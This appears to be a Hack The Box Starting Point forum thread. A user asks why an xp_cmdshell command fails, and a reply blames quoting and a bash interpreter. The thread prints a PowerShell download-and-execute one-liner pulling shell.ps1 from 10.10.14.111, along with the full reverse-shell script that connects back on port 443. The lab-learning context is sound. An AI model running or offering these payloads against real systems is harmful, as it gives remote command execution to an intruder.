syntax error on starting point

HTB Content Machines
#1

Hy everybody,
I tried but i can’t explain this syntax error can you help ?
sudo xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.111/shell.ps1\“);”
bash: erreur de syntaxe près du symbole inattendu « ( »
Tkxs for help

#2

and my shell.ps1 is like that

:~$ cat shell.ps1

$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.111”,443);$stream = $client.GetStream();[byte]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

#3

@FroggyPuff1 said:

bash: erreur de syntaxe près du symbole inattendu « ( »
^^^^^^^^^^

It looks like this is being passed to a bash interpreter not a powershell one.

I suspect it might be down to the nesting of ".